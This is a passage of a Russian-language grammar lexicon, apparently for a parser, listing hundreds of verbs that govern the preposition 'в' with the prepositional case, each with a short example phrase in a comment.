rus_verbs:трястись{}, // трястись в драндулете rus_verbs:сохранять{}, // сохранять в неприкосновенности rus_verbs:расстрелять{}, // расстрелять в ложбине rus_verbs:рассчитать{}, // рассчитать в программе rus_verbs:перебирать{}, // перебирать в руке rus_verbs:разбиться{}, // разбиться в аварии rus_verbs:поискать{}, // поискать в углу rus_verbs:мучиться{}, // мучиться в тесной клетке rus_verbs:замелькать{}, // замелькать в телевизоре rus_verbs:грустить{}, // грустить в одиночестве rus_verbs:крутить{}, // крутить в банке rus_verbs:объявиться{}, // объявиться в городе rus_verbs:подготовить{}, // подготовить в тайне rus_verbs:различать{}, // различать в смеси rus_verbs:обнаруживать{}, // обнаруживать в крови rus_verbs:киснуть{}, // киснуть в захолустье rus_verbs:оборваться{}, // оборваться в начале фразы rus_verbs:запутаться{}, // запутаться в веревках rus_verbs:общаться{}, // общаться в интимной обстановке rus_verbs:сочинить{}, // сочинить в ресторане rus_verbs:изобрести{}, // изобрести в домашней лаборатории rus_verbs:прокомментировать{}, // прокомментировать в своем блоге rus_verbs:давить{}, // давить в зародыше rus_verbs:повториться{}, // повториться в новом обличье rus_verbs:отставать{}, // отставать в общем зачете rus_verbs:разработать{}, // разработать в лаборатории rus_verbs:качать{}, // качать в кроватке rus_verbs:заменить{}, // заменить в двигателе rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере rus_verbs:забегать{}, // забегать в спешке rus_verbs:наделать{}, // наделать в решении ошибок rus_verbs:исказиться{}, // исказиться в кривом зеркале rus_verbs:тушить{}, // тушить в помещении пожар rus_verbs:охранять{}, // охранять в здании входы rus_verbs:приметить{}, // приметить в кустах rus_verbs:скрыть{}, // скрыть в складках одежды rus_verbs:удерживать{}, // удерживать в заложниках rus_verbs:увеличиваться{}, // увеличиваться в размере rus_verbs:красоваться{}, // красоваться в новом платье rus_verbs:сохраниться{}, // сохраниться в тепле rus_verbs:лечить{}, // лечить в стационаре rus_verbs:смешаться{}, // смешаться в баке rus_verbs:прокатиться{}, // прокатиться в троллейбусе rus_verbs:договариваться{}, // договариваться в закрытом кабинете rus_verbs:опубликовать{}, // опубликовать в официальном блоге rus_verbs:охотиться{}, // охотиться в прериях rus_verbs:отражаться{}, // отражаться в окне rus_verbs:понизить{}, // понизить в должности rus_verbs:обедать{}, // обедать в ресторане rus_verbs:посидеть{}, // посидеть в тени rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете rus_verbs:свершиться{}, // свершиться в суде rus_verbs:ночевать{}, // ночевать в гостинице rus_verbs:темнеть{}, // темнеть в воде rus_verbs:гибнуть{}, // гибнуть в застенках rus_verbs:усиливаться{}, // усиливаться в направлении главного удара rus_verbs:расплыться{}, // расплыться в улыбке rus_verbs:превышать{}, // превышать в несколько раз rus_verbs:проживать{}, // проживать в отдельной коморке rus_verbs:голубеть{}, // голубеть в тепле rus_verbs:исследовать{}, // исследовать в естественных условиях rus_verbs:обитать{}, // обитать в лесу rus_verbs:скучать{}, // скучать в одиночестве rus_verbs:сталкиваться{}, // сталкиваться в воздухе rus_verbs:таиться{}, // таиться в глубине rus_verbs:спасать{}, // спасать в море rus_verbs:заблудиться{}, // заблудиться в лесу rus_verbs:создаться{}, // создаться в новом виде rus_verbs:пошарить{}, // пошарить в кармане rus_verbs:планировать{}, // планировать в программе rus_verbs:отбить{}, // отбить в нижней части rus_verbs:отрицать{}, // отрицать в суде свою вину rus_verbs:основать{}, // основать в пустыне новый город rus_verbs:двоить{}, // двоить в глазах rus_verbs:устоять{}, // устоять в лодке rus_verbs:унять{}, // унять в ногах дрожь rus_verbs:отзываться{}, // отзываться в обзоре rus_verbs:притормозить{}, // притормозить в траве rus_verbs:читаться{}, // читаться в глазах rus_verbs:житься{}, // житься в деревне rus_verbs:заиграть{}, // заиграть в жилах rus_verbs:шевелить{}, // шевелить в воде rus_verbs:зазвенеть{}, // зазвенеть в ушах rus_verbs:зависнуть{}, // зависнуть в библиотеке rus_verbs:затаить{}, // затаить в душе обиду rus_verbs:сознаться{}, // сознаться в совершении rus_verbs:протекать{}, // протекать в легкой форме rus_verbs:выясняться{}, // выясняться в ходе эксперимента rus_verbs:скрестить{}, // скрестить в неволе rus_verbs:наводить{}, // наводить в комнате порядок rus_verbs:значиться{}, // значиться в документах rus_verbs:заинтересовать{}, // заинтересовать в получении результатов rus_verbs:познакомить{}, // познакомить в непринужденной обстановке rus_verbs:рассеяться{}, // рассеяться в воздухе rus_verbs:грохнуть{}, // грохнуть в подвале rus_verbs:обвинять{}, // обвинять в вымогательстве rus_verbs:столпиться{}, // столпиться в фойе rus_verbs:порыться{}, // порыться в сумке rus_verbs:ослабить{}, // ослабить в верхней части rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки rus_verbs:спастись{}, // спастись в хижине rus_verbs:прерваться{}, // прерваться в середине фразы rus_verbs:применять{}, // применять в повседневной работе rus_verbs:строиться{}, // строиться в зоне отчуждения rus_verbs:путешествовать{}, // путешествовать в самолете rus_verbs:побеждать{}, // побеждать в честной битве rus_verbs:погубить{}, // погубить в себе артиста rus_verbs:рассматриваться{}, // рассматриваться в следующей главе rus_verbs:продаваться{}, // продаваться в специализированном магазине rus_verbs:разместиться{}, // разместиться в аудитории rus_verbs:повидать{}, // повидать в жизни rus_verbs:настигнуть{}, // настигнуть в пригородах rus_verbs:сгрудиться{}, // сгрудиться в центре загона rus_verbs:укрыться{}, // укрыться в доме rus_verbs:расплакаться{}, // расплакаться в суде rus_verbs:пролежать{}, // пролежать в канаве rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде rus_verbs:поскользнуться{}, // поскользнуться в коридоре rus_verbs:таскать{}, // таскать в руках rus_verbs:нападать{}, // нападать в вольере rus_verbs:просматривать{}, // просматривать в браузере rus_verbs:обдумать{}, // обдумать в дороге rus_verbs:обвинить{}, // обвинить в измене rus_verbs:останавливать{}, // останавливать в дверях rus_verbs:теряться{}, // теряться в догадках rus_verbs:погибать{}, // погибать в бою rus_verbs:обозначать{}, // обозначать в списке rus_verbs:запрещать{}, // запрещать в парке rus_verbs:долететь{}, // долететь в вертолёте rus_verbs:тесниться{}, // тесниться в каморке rus_verbs:уменьшаться{}, // уменьшаться в размере rus_verbs:издавать{}, // издавать в небольшом издательстве rus_verbs:хоронить{}, // хоронить в море rus_verbs:перемениться{}, // перемениться в лице rus_verbs:установиться{}, // установиться в северных областях rus_verbs:прикидывать{}, // прикидывать в уме rus_verbs:затаиться{}, // затаиться в траве rus_verbs:раздобыть{}, // раздобыть в аптеке rus_verbs:перебросить{}, // перебросить в товарном составе rus_verbs:погружаться{}, // погружаться в батискафе rus_verbs:поживать{}, // поживать в одиночестве rus_verbs:признаваться{}, // признаваться в любви rus_verbs:захватывать{}, // захватывать в здании rus_verbs:покачиваться{}, // покачиваться в лодке rus_verbs:крутиться{}, // крутиться в колесе rus_verbs:помещаться{}, // помещаться в ящике rus_verbs:питаться{}, // питаться в столовой rus_verbs:отдохнуть{}, // отдохнуть в пансионате rus_verbs:кататься{}, // кататься в коляске rus_verbs:поработать{}, // поработать в цеху rus_verbs:подразумевать{}, // подразумевать в задании rus_verbs:ограбить{}, // ограбить в подворотне rus_verbs:преуспеть{}, // преуспеть в бизнесе rus_verbs:заерзать{}, // заерзать в кресле rus_verbs:разъяснить{}, // разъяснить в другой статье rus_verbs:продвинуться{}, // продвинуться в изучении rus_verbs:поколебаться{}, // поколебаться в начале rus_verbs:засомневаться{}, // засомневаться в честности rus_verbs:приникнуть{}, // приникнуть в уме rus_verbs:скривить{}, // скривить в усмешке rus_verbs:рассечь{}, // рассечь в центре опухоли rus_verbs:перепутать{}, // перепутать в роддоме rus_verbs:посмеяться{}, // посмеяться в перерыве rus_verbs:отмечаться{}, // отмечаться в полицейском участке rus_verbs:накопиться{}, // накопиться в отстойнике rus_verbs:уносить{}, // уносить в руках rus_verbs:навещать{}, // навещать в больнице rus_verbs:остыть{}, // остыть в проточной воде rus_verbs:запереться{}, // запереться в комнате rus_verbs:обогнать{}, // обогнать в первом круге rus_verbs:убеждаться{}, // убеждаться в неизбежности rus_verbs:подбирать{}, // подбирать в магазине rus_verbs:уничтожать{}, // уничтожать в полете rus_verbs:путаться{}, // путаться в показаниях rus_verbs:притаиться{}, // притаиться в темноте rus_verbs:проплывать{}, // проплывать в лодке rus_verbs:засесть{}, // засесть в окопе rus_verbs:подцепить{}, // подцепить в баре rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок rus_verbs:оправдаться{}, // оправдаться в суде rus_verbs:созреть{}, // созреть в естественных условиях rus_verbs:раскрываться{}, // раскрываться в подходящих условиях rus_verbs:ожидаться{}, // ожидаться в верхней части rus_verbs:одеваться{}, // одеваться в дорогих бутиках rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта rus_verbs:грабить{}, // грабить в подворотне rus_verbs:ужинать{}, // ужинать в ресторане rus_verbs:гонять{}, // гонять в жилах rus_verbs:уверить{}, // уверить в безопасности rus_verbs:потеряться{}, // потеряться в лесу rus_verbs:устанавливаться{}, // устанавливаться в комнате rus_verbs:предоставлять{}, // предоставлять в суде rus_verbs:протянуться{}, // протянуться в стене rus_verbs:допрашивать{}, // допрашивать в бункере rus_verbs:проработать{}, // проработать в кабинете rus_verbs:сосредоточить{}, // сосредоточить в своих руках rus_verbs:утвердить{}, // утвердить в должности rus_verbs:сочинять{}, // сочинять в дороге rus_verbs:померкнуть{}, // померкнуть в глазах rus_verbs:показываться{}, // показываться в окошке rus_verbs:похудеть{}, // похудеть в талии rus_verbs:проделывать{}, // проделывать в стене rus_verbs:прославиться{}, // прославиться в интернете rus_verbs:сдохнуть{}, // сдохнуть в нищете rus_verbs:раскинуться{}, // раскинуться в степи rus_verbs:развить{}, // развить в себе способности rus_verbs:уставать{}, // уставать в цеху rus_verbs:укрепить{}, // укрепить в земле rus_verbs:числиться{}, // числиться в списке rus_verbs:образовывать{}, // образовывать в смеси rus_verbs:екнуть{}, // екнуть в груди rus_verbs:одобрять{}, // одобрять в своей речи rus_verbs:запить{}, // запить в одиночестве rus_verbs:забыться{}, // забыться в тяжелом сне rus_verbs:чернеть{}, // чернеть в кислой среде rus_verbs:размещаться{}, // размещаться в гараже rus_verbs:соорудить{}, // соорудить в гараже rus_verbs:развивать{}, // развивать в себе rus_verbs:пастись{}, // пастись в пойме rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы rus_verbs:ослабнуть{}, // ослабнуть в сочленении rus_verbs:таить{}, // таить в себе инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке rus_verbs:приостановиться{}, // приостановиться в конце rus_verbs:топтаться{}, // топтаться в грязи rus_verbs:громить{}, // громить в финале rus_verbs:заменять{}, // заменять в основном составе rus_verbs:подъезжать{}, // подъезжать в колясках rus_verbs:вычислить{}, // вычислить в уме rus_verbs:заказывать{}, // заказывать в магазине rus_verbs:осуществить{}, // осуществить в реальных условиях rus_verbs:обосноваться{}, // обосноваться в дупле rus_verbs:пытать{}, // пытать в камере rus_verbs:поменять{}, // поменять в магазине rus_verbs:совершиться{}, // совершиться в суде rus_verbs:пролетать{}, // пролетать в вертолете rus_verbs:сбыться{}, // сбыться во сне rus_verbs:разговориться{}, // разговориться в отделении rus_verbs:преподнести{}, // преподнести в красивой упаковке rus_verbs:напечатать{}, // напечатать в типографии rus_verbs:прорвать{}, // прорвать в центре rus_verbs:раскачиваться{}, // раскачиваться в кресле rus_verbs:задерживаться{}, // задерживаться в дверях rus_verbs:угощать{}, // угощать в кафе rus_verbs:проступать{}, // проступать в глубине rus_verbs:шарить{}, // шарить в математике rus_verbs:увеличивать{}, // увеличивать в конце rus_verbs:расцвести{}, // расцвести в оранжерее rus_verbs:закипеть{}, // закипеть в баке rus_verbs:подлететь{}, // подлететь в вертолете rus_verbs:рыться{}, // рыться в куче rus_verbs:пожить{}, // пожить в гостинице rus_verbs:добираться{}, // добираться в попутном транспорте rus_verbs:перекрыть{}, // перекрыть в коридоре rus_verbs:продержаться{}, // продержаться в барокамере rus_verbs:разыскивать{}, // разыскивать в толпе rus_verbs:освобождать{}, // освобождать в зале суда rus_verbs:подметить{}, // подметить в человеке rus_verbs:передвигаться{}, // передвигаться в узкой юбке rus_verbs:продумать{}, // продумать в уме rus_verbs:извиваться{}, // извиваться в траве rus_verbs:процитировать{}, // процитировать в статье rus_verbs:прогуливаться{}, // прогуливаться в парке rus_verbs:защемить{}, // защемить в двери rus_verbs:увеличиться{}, // увеличиться в объеме rus_verbs:проявиться{}, // проявиться в результатах rus_verbs:заскользить{}, // заскользить в ботинках rus_verbs:пересказать{}, // пересказать в своем выступлении rus_verbs:протестовать{}, // протестовать в здании парламента rus_verbs:указываться{}, // указываться в путеводителе rus_verbs:копошиться{}, // копошиться в песке rus_verbs:проигнорировать{}, // проигнорировать в своей работе rus_verbs:купаться{}, // купаться в речке rus_verbs:подсчитать{}, // подсчитать в уме rus_verbs:разволноваться{}, // разволноваться в классе rus_verbs:придумывать{}, // придумывать в своем воображении rus_verbs:предусмотреть{}, // предусмотреть в программе rus_verbs:завертеться{}, // завертеться в колесе rus_verbs:зачерпнуть{}, // зачерпнуть в ручье rus_verbs:очистить{}, // очистить в химической лаборатории rus_verbs:прозвенеть{}, // прозвенеть в коридорах rus_verbs:уменьшиться{}, // уменьшиться в размере rus_verbs:колыхаться{}, // колыхаться в проточной воде rus_verbs:ознакомиться{}, // ознакомиться в автобусе rus_verbs:ржать{}, // ржать в аудитории rus_verbs:раскинуть{}, // раскинуть в микрорайоне rus_verbs:разлиться{}, // разлиться в воде rus_verbs:сквозить{}, // сквозить в словах rus_verbs:задушить{}, // задушить в объятиях rus_verbs:осудить{}, // осудить в особом порядке rus_verbs:разгромить{}, // разгромить в честном поединке rus_verbs:подслушать{}, // подслушать в кулуарах rus_verbs:проповедовать{}, // проповедовать в сельских районах rus_verbs:озарить{}, // озарить во сне rus_verbs:потирать{}, // потирать в предвкушении rus_verbs:описываться{}, // описываться в статье rus_verbs:качаться{}, // качаться в кроватке rus_verbs:усилить{}, // усилить в центре rus_verbs:прохаживаться{}, // прохаживаться в новом костюме rus_verbs:полечить{}, // полечить в больничке rus_verbs:сниматься{}, // сниматься в римейке rus_verbs:сыскать{}, // сыскать в наших краях rus_verbs:поприветствовать{}, // поприветствовать в коридоре rus_verbs:подтвердиться{}, // подтвердиться в эксперименте rus_verbs:плескаться{}, // плескаться в теплой водичке rus_verbs:расширяться{}, // расширяться в первом сегменте rus_verbs:мерещиться{}, // мерещиться в тумане rus_verbs:сгущаться{}, // сгущаться в воздухе rus_verbs:храпеть{}, // храпеть во сне rus_verbs:подержать{}, // подержать в руках rus_verbs:накинуться{}, // накинуться в подворотне rus_verbs:планироваться{}, // планироваться в закрытом режиме rus_verbs:пробудить{}, // пробудить в себе rus_verbs:побриться{}, // побриться в ванной rus_verbs:сгинуть{}, // сгинуть в пучине rus_verbs:окрестить{}, // окрестить в церкви инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления rus_verbs:замкнуться{}, // замкнуться в себе rus_verbs:прибавлять{}, // прибавлять в весе rus_verbs:проплыть{}, // проплыть в лодке rus_verbs:растворяться{}, // растворяться в тумане rus_verbs:упрекать{}, // упрекать в небрежности rus_verbs:затеряться{}, // затеряться в лабиринте rus_verbs:перечитывать{}, // перечитывать в поезде rus_verbs:перелететь{}, // перелететь в вертолете rus_verbs:оживать{}, // оживать в теплой воде rus_verbs:заглохнуть{}, // заглохнуть в полете rus_verbs:кольнуть{}, // кольнуть в боку rus_verbs:копаться{}, // копаться в куче rus_verbs:развлекаться{}, // развлекаться в клубе rus_verbs:отливать{}, // отливать в кустах rus_verbs:зажить{}, // зажить в деревне rus_verbs:одолжить{}, // одолжить в соседнем кабинете rus_verbs:заклинать{}, // заклинать в своей речи rus_verbs:различаться{}, // различаться в мелочах rus_verbs:печататься{}, // печататься в типографии rus_verbs:угадываться{}, // угадываться в контурах rus_verbs:обрывать{}, // обрывать в начале rus_verbs:поглаживать{}, // поглаживать в кармане rus_verbs:подписывать{}, // подписывать в присутствии понятых rus_verbs:добывать{}, // добывать в разломе rus_verbs:скопиться{}, // скопиться в воротах rus_verbs:повстречать{}, // повстречать в бане rus_verbs:совпасть{}, // совпасть в упрощенном виде rus_verbs:разрываться{}, // разрываться в точке спайки rus_verbs:улавливать{}, // улавливать в датчике rus_verbs:повстречаться{}, // повстречаться в лифте rus_verbs:отразить{}, // отразить в отчете rus_verbs:пояснять{}, // пояснять в примечаниях rus_verbs:накормить{}, // накормить в столовке rus_verbs:поужинать{}, // поужинать в ресторане инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить в молоке rus_verbs:освоить{}, // освоить в работе rus_verbs:зародиться{}, // зародиться в голове rus_verbs:отплыть{}, // отплыть в старой лодке rus_verbs:отстаивать{}, // отстаивать в суде rus_verbs:осуждать{}, // осуждать в своем выступлении rus_verbs:переговорить{}, // переговорить в перерыве rus_verbs:разгораться{}, // разгораться в сердце rus_verbs:укрыть{}, // укрыть в шалаше rus_verbs:томиться{}, // томиться в застенках rus_verbs:клубиться{}, // клубиться в воздухе rus_verbs:сжигать{}, // сжигать в топке rus_verbs:позавтракать{}, // позавтракать в кафешке rus_verbs:функционировать{}, // функционировать в лабораторных условиях rus_verbs:смять{}, // смять в руке rus_verbs:разместить{}, // разместить в интернете rus_verbs:пронести{}, // пронести в потайном кармане rus_verbs:руководствоваться{}, // руководствоваться в работе rus_verbs:нашарить{}, // нашарить в потемках rus_verbs:закрутить{}, // закрутить в вихре rus_verbs:просматриваться{}, // просматриваться в дальней перспективе rus_verbs:распознать{}, // распознать в незнакомце rus_verbs:повеситься{}, // повеситься в камере rus_verbs:обшарить{}, // обшарить в поисках наркотиков rus_verbs:наполняться{}, // наполняется в карьере rus_verbs:засвистеть{}, // засвистеть в воздухе rus_verbs:процветать{}, // процветать в мягком климате rus_verbs:шуршать{}, // шуршать в простенке rus_verbs:подхватывать{}, // подхватывать в полете инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе прилагательное:роившийся{}, прилагательное:роящийся{}, // деепричастие:роясь{ aux stress="ро^ясь" }, rus_verbs:преобладать{}, // преобладать в тексте rus_verbs:посветлеть{}, // посветлеть в лице rus_verbs:игнорировать{}, // игнорировать в рекомендациях rus_verbs:обсуждаться{}, // обсуждаться в кулуарах rus_verbs:отказывать{}, // отказывать в визе rus_verbs:ощупывать{}, // ощупывать в кармане rus_verbs:разливаться{}, // разливаться в цеху rus_verbs:расписаться{}, // расписаться в получении rus_verbs:учинить{}, // учинить в казарме rus_verbs:плестись{}, // плестись в хвосте rus_verbs:объявляться{}, // объявляться в группе rus_verbs:повышаться{}, // повышаться в первой части rus_verbs:напрягать{}, // напрягать в паху rus_verbs:разрабатывать{}, // разрабатывать в студии rus_verbs:хлопотать{}, // хлопотать в мэрии rus_verbs:прерывать{}, // прерывать в самом начале rus_verbs:каяться{}, // каяться в грехах rus_verbs:освоиться{}, // освоиться в кабине rus_verbs:подплыть{}, // подплыть в лодке rus_verbs:замигать{}, // замигать в темноте rus_verbs:оскорблять{}, // оскорблять в выступлении rus_verbs:торжествовать{}, // торжествовать в душе rus_verbs:поправлять{}, // поправлять в прологе rus_verbs:угадывать{}, // угадывать в размытом изображении rus_verbs:потоптаться{}, // потоптаться в прихожей rus_verbs:переправиться{}, // переправиться в лодочке rus_verbs:увериться{}, // увериться в невиновности rus_verbs:забрезжить{}, // забрезжить в конце тоннеля rus_verbs:утвердиться{}, // утвердиться во мнении rus_verbs:завывать{}, // завывать в трубе rus_verbs:заварить{}, // заварить в заварнике rus_verbs:скомкать{}, // скомкать в руке rus_verbs:перемещаться{}, // перемещаться в капсуле инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле rus_verbs:праздновать{}, // праздновать в баре rus_verbs:мигать{}, // мигать в темноте rus_verbs:обучить{}, // обучить в мастерской rus_verbs:орудовать{}, // орудовать в кладовке rus_verbs:упорствовать{}, // упорствовать в заблуждении rus_verbs:переминаться{}, // переминаться в прихожей rus_verbs:подрасти{}, // подрасти в теплице rus_verbs:предписываться{}, // предписываться в законе rus_verbs:приписать{}, // приписать в конце rus_verbs:задаваться{}, // задаваться в своей статье rus_verbs:чинить{}, // чинить в домашних условиях rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке rus_verbs:пообедать{}, // пообедать в ресторанчике rus_verbs:жрать{}, // жрать в чуланчике rus_verbs:исполняться{}, // исполняться в антракте rus_verbs:гнить{}, // гнить в тюрьме rus_verbs:глодать{}, // глодать в конуре rus_verbs:прослушать{}, // прослушать в дороге rus_verbs:истратить{}, // истратить в кабаке rus_verbs:стареть{}, // стареть в одиночестве rus_verbs:разжечь{}, // разжечь в сердце rus_verbs:совещаться{}, // совещаться в кабинете rus_verbs:покачивать{}, // покачивать в кроватке rus_verbs:отсидеть{}, // отсидеть в одиночке rus_verbs:формировать{}, // формировать в умах rus_verbs:захрапеть{}, // захрапеть во сне rus_verbs:петься{}, // петься в хоре rus_verbs:объехать{}, // объехать в автобусе rus_verbs:поселить{}, // поселить в гостинице rus_verbs:предаться{}, // предаться в книге rus_verbs:заворочаться{}, // заворочаться во сне rus_verbs:напрятать{}, // напрятать в карманах rus_verbs:очухаться{}, // очухаться в незнакомом месте rus_verbs:ограничивать{}, // ограничивать в движениях rus_verbs:завертеть{}, // завертеть в руках rus_verbs:печатать{}, // печатать в редакторе rus_verbs:теплиться{}, // теплиться в сердце rus_verbs:увязнуть{}, // увязнуть в зыбучем песке rus_verbs:усмотреть{}, // усмотреть в обращении rus_verbs:отыскаться{}, // отыскаться в запасах rus_verbs:потушить{}, // потушить в горле огонь rus_verbs:поубавиться{}, // поубавиться в размере rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти rus_verbs:смыть{}, // смыть в ванной rus_verbs:заместить{}, // заместить в кресле rus_verbs:угасать{}, // угасать в одиночестве rus_verbs:сразить{}, // сразить в споре rus_verbs:фигурировать{}, // фигурировать в бюллетене rus_verbs:расплываться{}, // расплываться в глазах rus_verbs:сосчитать{}, // сосчитать в уме rus_verbs:сгуститься{}, // сгуститься в воздухе rus_verbs:цитировать{}, // цитировать в своей статье rus_verbs:помяться{}, // помяться в давке rus_verbs:затрагивать{}, // затрагивать в процессе выполнения rus_verbs:обтереть{}, // обтереть в гараже rus_verbs:подстрелить{}, // подстрелить в пойме реки rus_verbs:растереть{}, // растереть в руке rus_verbs:подавлять{}, // подавлять в зародыше rus_verbs:смешиваться{}, // смешиваться в чане инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке rus_verbs:сократиться{}, // сократиться в обхвате rus_verbs:занервничать{}, // занервничать в кабинете rus_verbs:соприкоснуться{}, // соприкоснуться в полете rus_verbs:обозначить{}, // обозначить в объявлении rus_verbs:обучаться{}, // обучаться в училище rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы rus_verbs:лелеять{}, // лелеять в сердце rus_verbs:поддерживаться{}, // поддерживаться в суде rus_verbs:уплыть{}, // уплыть в лодочке rus_verbs:резвиться{}, // резвиться в саду rus_verbs:поерзать{}, // поерзать в гамаке rus_verbs:оплатить{}, // оплатить в ресторане rus_verbs:похвастаться{}, // похвастаться в компании rus_verbs:знакомиться{}, // знакомиться в классе rus_verbs:приплыть{}, // приплыть в подводной лодке rus_verbs:зажигать{}, // зажигать в классе rus_verbs:смыслить{}, // смыслить в математике rus_verbs:закопать{}, // закопать в огороде rus_verbs:порхать{}, // порхать в зарослях rus_verbs:потонуть{}, // потонуть в бумажках rus_verbs:стирать{}, // стирать в холодной воде rus_verbs:подстерегать{}, // подстерегать в придорожных кустах rus_verbs:погулять{}, // погулять в парке rus_verbs:предвкушать{}, // предвкушать в воображении rus_verbs:ошеломить{}, // ошеломить в бою rus_verbs:удостовериться{}, // удостовериться в безопасности rus_verbs:огласить{}, // огласить в заключительной части rus_verbs:разбогатеть{}, // разбогатеть в деревне rus_verbs:грохотать{}, // грохотать в мастерской rus_verbs:реализоваться{}, // реализоваться в должности rus_verbs:красть{}, // красть в магазине rus_verbs:нарваться{}, // нарваться в коридоре rus_verbs:застывать{}, // застывать в неудобной позе rus_verbs:толкаться{}, // толкаться в тесной комнате rus_verbs:извлекать{}, // извлекать в аппарате rus_verbs:обжигать{}, // обжигать в печи rus_verbs:запечатлеть{}, // запечатлеть в кинохронике rus_verbs:тренироваться{}, // тренироваться в зале rus_verbs:поспорить{}, // поспорить в кабинете rus_verbs:рыскать{}, // рыскать в лесу rus_verbs:надрываться{}, // надрываться в шахте rus_verbs:сняться{}, // сняться в фильме rus_verbs:закружить{}, // закружить в танце rus_verbs:затонуть{}, // затонуть в порту rus_verbs:побыть{}, // побыть в гостях rus_verbs:почистить{}, // почистить в носу rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре rus_verbs:подслушивать{}, // подслушивать в классе rus_verbs:сгорать{}, // сгорать в танке rus_verbs:разочароваться{}, // разочароваться в артисте инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках rus_verbs:мять{}, // мять в руках rus_verbs:подраться{}, // подраться в классе rus_verbs:замести{}, // замести в прихожей rus_verbs:откладываться{}, // откладываться в печени rus_verbs:обозначаться{}, // обозначаться в перечне rus_verbs:просиживать{}, // просиживать в интернете rus_verbs:соприкасаться{}, // соприкасаться в точке rus_verbs:начертить{}, // начертить в тетрадке rus_verbs:уменьшать{}, // уменьшать в поперечнике rus_verbs:тормозить{}, // тормозить в облаке rus_verbs:затевать{}, // затевать в лаборатории rus_verbs:затопить{}, // затопить в бухте rus_verbs:задерживать{}, // задерживать в лифте rus_verbs:прогуляться{}, // прогуляться в лесу rus_verbs:прорубить{}, // прорубить во льду rus_verbs:очищать{}, // очищать в кислоте rus_verbs:полулежать{}, // полулежать в гамаке rus_verbs:исправить{}, // исправить в задании rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи rus_verbs:замучить{}, // замучить в плену rus_verbs:разрушаться{}, // разрушаться в верхней части rus_verbs:ерзать{}, // ерзать в кресле rus_verbs:покопаться{}, // покопаться в залежах rus_verbs:раскаяться{}, // раскаяться в содеянном rus_verbs:пробежаться{}, // пробежаться в парке rus_verbs:полежать{}, // полежать в гамаке rus_verbs:позаимствовать{}, // позаимствовать в книге rus_verbs:снижать{}, // снижать в несколько раз rus_verbs:черпать{}, // черпать в поэзии rus_verbs:заверять{}, // заверять в своей искренности rus_verbs:проглядеть{}, // проглядеть в сумерках rus_verbs:припарковать{}, // припарковать во дворе rus_verbs:сверлить{}, // сверлить в стене rus_verbs:здороваться{}, // здороваться в аудитории rus_verbs:рожать{}, // рожать в воде rus_verbs:нацарапать{}, // нацарапать в тетрадке rus_verbs:затопать{}, // затопать в коридоре rus_verbs:прописать{}, // прописать в правилах rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах rus_verbs:снизить{}, // снизить в несколько раз rus_verbs:заблуждаться{}, // заблуждаться в своей теории rus_verbs:откопать{}, // откопать в отвалах rus_verbs:смастерить{}, // смастерить в лаборатории rus_verbs:замедлиться{}, // замедлиться в парафине rus_verbs:избивать{}, // избивать в участке rus_verbs:мыться{}, // мыться в бане rus_verbs:сварить{}, // сварить в кастрюльке rus_verbs:раскопать{}, // раскопать в снегу rus_verbs:крепиться{}, // крепиться в держателе rus_verbs:дробить{}, // дробить в мельнице rus_verbs:попить{}, // попить в ресторанчике rus_verbs:затронуть{}, // затронуть в душе rus_verbs:лязгнуть{}, // лязгнуть в тишине rus_verbs:заправлять{}, // заправлять в полете rus_verbs:размножаться{}, // размножаться в неволе rus_verbs:потопить{}, // потопить в Тихом Океане rus_verbs:кушать{}, // кушать в столовой rus_verbs:замолкать{}, // замолкать в замешательстве rus_verbs:измеряться{}, // измеряться в дюймах rus_verbs:сбываться{}, // сбываться в мечтах rus_verbs:задернуть{}, // задернуть в комнате rus_verbs:затихать{}, // затихать в темноте rus_verbs:прослеживаться{}, // прослеживается в журнале rus_verbs:прерываться{}, // прерывается в начале rus_verbs:изображаться{}, // изображается в любых фильмах rus_verbs:фиксировать{}, // фиксировать в данной точке rus_verbs:ослаблять{}, // ослаблять в поясе rus_verbs:зреть{}, // зреть в теплице rus_verbs:зеленеть{}, // зеленеть в огороде rus_verbs:критиковать{}, // критиковать в статье rus_verbs:облететь{}, // облететь в частном вертолете rus_verbs:разбросать{}, // разбросать в комнате rus_verbs:заразиться{}, // заразиться в людном месте rus_verbs:рассеять{}, // рассеять в бою rus_verbs:печься{}, // печься в духовке rus_verbs:поспать{}, // поспать в палатке rus_verbs:заступиться{}, // заступиться в драке rus_verbs:сплетаться{}, // сплетаться в середине rus_verbs:поместиться{}, // поместиться в мешке rus_verbs:спереть{}, // спереть в лавке // инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде // инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш }, rus_verbs:проваляться{}, // проваляться в постели rus_verbs:лечиться{}, // лечиться в стационаре rus_verbs:определиться{}, // определиться в честном бою rus_verbs:обработать{}, // обработать в растворе rus_verbs:пробивать{}, // пробивать в стене rus_verbs:перемешаться{}, // перемешаться в чане rus_verbs:чесать{}, // чесать в паху rus_verbs:пролечь{}, // пролечь в пустынной местности rus_verbs:скитаться{}, // скитаться в дальних странах rus_verbs:затрудняться{}, // затрудняться в выборе rus_verbs:отряхнуться{}, // отряхнуться в коридоре rus_verbs:разыгрываться{}, 